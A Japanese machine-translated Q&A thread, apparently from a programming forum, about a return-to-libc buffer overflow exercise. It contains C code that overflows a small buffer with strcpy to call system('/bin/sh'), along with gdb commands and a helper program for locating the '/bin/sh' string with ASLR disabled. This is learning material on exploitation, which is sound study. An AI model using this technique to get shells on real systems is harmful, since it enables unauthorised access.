「libcバッファオーバーフローに戻る」を利用するプログラムを思いつくはずです。これは、実行されると、正常に終了し、シェルプロンプトが表示されます。プログラムはbashターミナルで実行されます。以下は私のCコードです。
#include <stdio.h>
int main(int argc, char*argv[]){
char buffer[7];
char buf[42];
int i = 0;
while(i < 28)
{
buf[i] = 'a';
i = i + 1;
}
*(int *)&buf[28] = 0x4c4ab0;
*(int *)&buf[32] = 0x4ba520;
*(int *)&buf[36] = 0xbfffff13;
strcpy(buffer, buf);
return 0;
}
gdb を使用して、次のことを確認できました。
gdb を使用して、32個の「A」をバッファー変数に挿入すると、戻りアドレスが上書きされることもわかっています。システムコールが4バイトであることを考えると、28バイトのメモリ「リーク」を埋めることから始めます。 28バイト目で、システムコールを開始し、コールを終了し、最後に「/ bin/sh」メモリロケーションを追加します。
ただし、プログラムを実行すると、次の結果が得られます。
sh: B���: command not found
Segmentation fault (core dumped)
私は本当に間違っているのか分からない...
[編集]:環境変数をエクスポートすることで文字列「/ bin/sh」を取得できました。
export MYSHELL="/bin/sh"
Libcで/ bin/sh文字列の固定アドレスを検索できます。次に、gdbでプログラムを実行します。
> (gdb) break main
>
> (gdb) run
>
> (gdb) print &system
> $1 = (<text variable, no debug info>*) 0xf7e68250 <system>
>
> (gdb) find &system,+9999999,"/bin/sh"
> 0xf7f86c4c
> warning: Unable to access target memory at 0xf7fd0fd4, halting search.
> 1 pattern found.
幸運を。
プログラムの問題は、/bin/sh
文字列を指すポインターが実際には/bin/sh
を指していないことです。
gdb
を使用してこのアドレスを取得します。ただし、スタックをランダム化しない場合でも、プログラムをgdb
の下で実行する場合とgdb
を使用しない場合のシェル変数のスタックアドレスは異なります。 gdb
はいくつかのデバッグ情報をスタックに入れており、これによりシェル変数がシフトされます。
スタック内で/bin/sh
文字列を見つけるための迅速で汚いプログラムがここにあります。
#include <stdio.h>
#include <string.h>
int main(void)
{
char s[] = "/bin/sh";
char *p = (char *) 0xbffff000;
while (memcmp(++p, s, sizeof s));
printf("%s\n", p);
printf("%p\n", p);
}
スタックのランダム化が無効になっていることを最初に再確認します。
ouah@maou:~$ sysctl kernel.randomize_va_space kernel.randomize_va_space = 0 ouah@maou:~$
OK、スタックのランダム化はありません。
プログラムをコンパイルして、gdb
の外部で実行しましょう。
ouah@maou:~$ gcc -std=c99 tst.c ouah@maou:~$ ./a.out /bin/sh 0xbffff724 ouah@maou:~$
gdb
の下で実行しましょう:
ouah@maou:~$ ./a.out /bin/sh 0xbffff724 ouah@maou:~$ gdb a.out -q Reading symbols from /home/ouah/a.out...(no debugging symbols found)...done. (gdb) r Starting program: /home/ouah/a.out /bin/sh 0xbffff6e4 Program exited normally. (gdb) quit ouah@maou:~$
ご覧のとおり、プログラムがgdb
の内部または外部で実行される場合、/bin/sh
文字列のアドレスは異なります。
ここでできることは、このプログラムのバリアントを使用して文字列の実際のアドレスまたはよりエレガントなアプローチを見つけることです。/bin/sh
文字列のアドレスをlibcから直接取得します(少ない出現)。